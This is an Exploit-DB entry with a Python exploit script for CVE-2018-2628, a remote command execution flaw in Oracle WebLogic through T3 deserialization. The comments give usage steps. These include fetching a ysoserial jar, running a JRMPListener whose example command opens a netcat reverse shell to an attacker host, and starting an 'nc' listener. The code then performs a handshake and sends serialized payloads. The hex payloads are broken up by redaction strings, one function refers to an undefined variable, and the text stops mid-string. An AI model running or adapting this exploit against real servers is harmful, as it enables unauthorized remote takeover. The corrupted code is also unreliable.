Exploit-DB #44553
Description: Oracle Weblogic Server 10.3.6.0 / 12.1.3.0 / 12.2.1.2 / 12.2.1.3 - Deserialization Remote Command Execution
Type: remote
Platform: multiple
Date: 2018-04-22
Author: brianwrf

Exploit:
# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
#
# IMPORTANT: Is provided only for educational or information purposes.
#
# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
#
# How to exploit:
# 1. run below command on JRMPListener host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#       e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
#    e.g. nc -nlvp 4040
# 3. run this script on attacker host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
#       e.g.
#           a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
#           b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('[PII_REDACTED]2e322e310a41533a3235350a484c3a31390a4d533a[PII_REDACTED]3030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea[PII_REDACTED]00937b484a56fa4a777666f581daa4f5b90e2aebfc607499b[PII_REDACTED][PII_REDACTED][PII_REDACTED]0000a[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000a[PII_REDACTED][PII_REDACTED][PII_REDACTED]fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED][PII_REDACTED]6c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec[PII_REDACTED]0056d616a6f724900056d696e6f7249000c726f6c6c696e[PII_REDACTED]6849000b[PII_REDACTED][PII_REDACTED]6b5a000e74656d706f[PII_REDACTED]617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c[PII_REDACTED]6f6e71007e[PII_REDACTED]02000078fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED][PII_REDACTED]6c6f6769632e636f6d6d6f6e2e696e7465726e616c2e[PII_REDACTED]6f6e496e666f[PII_REDACTED]52463e0200035b[PII_REDACTED]6b[PII_REDACTED]00275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c[PII_REDACTED]657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b[PII_REDACTED]73696f6e496e666f[PII_REDACTED][PII_REDACTED]5b[PII_REDACTED]7765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec[PII_REDACTED]0056d616a6f724900056d696e6f7249000c726f6c6c696e[PII_REDACTED]6849000b[PII_REDACTED][PII_REDACTED]6b5a000e74656d706f[PII_REDACTED]617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c[PII_REDACTED]6f6e71007e[PII_REDACTED]02000078fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED][PII_REDACTED]6c6f6769632e636f6d6d6f6e2e696e7465726e616c2e[PII_REDACTED]6e666f585474f39bc908f[PII_REDACTED]056d616a6f724900056d696e6f7249000c726f6c6c696e[PII_REDACTED]6849000b[PII_REDACTED][PII_REDACTED]6b5a000e74656d706f[PII_REDACTED]617463685b[PII_REDACTED]6b[PII_REDACTED]00275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b[PII_REDACTED]65626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e[PII_REDACTED]6f6e496e666f[PII_REDACTED]52463e0200035b[PII_REDACTED]6b[PII_REDACTED]'
    data2 = '007e00034c000e72656c[PII_REDACTED]657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b[PII_REDACTED]73696f6e496e666f[PII_REDACTED][PII_REDACTED]5b[PII_REDACTED]7765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec[PII_REDACTED]0056d616a6f724900056d696e6f7249000c726f6c6c696e[PII_REDACTED]6849000b[PII_REDACTED][PII_REDACTED]6b5a000e74656d706f[PII_REDACTED]617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c[PII_REDACTED]6f6e71007e[PII_REDACTED]02000078fe00fffe010000aced[PII_REDACTED]137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c[PII_REDACTED][PII_REDACTED][PII_REDACTED]000d3139322e3136382e312e[PII_REDACTED]57494e2d4147444d[PII_REDACTED]54362e656883348cd[PII_REDACTED]000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced[PII_REDACTED]137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c[PII_REDACTED]200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e[PII_REDACTED]3d1d[PII_REDACTED]'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='[PII_REDACTED][PII_REDACTED]1b0000005d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]65626c6f[PII_REDACTED][PII_REDACTED]000c9c979a9a8c9a9bcfcf9b939a[PII_REDACTED]626c6f67696306fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED]00025b42acf317f8060854e[PII_REDACTED][PII_REDACTED]8fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f5265815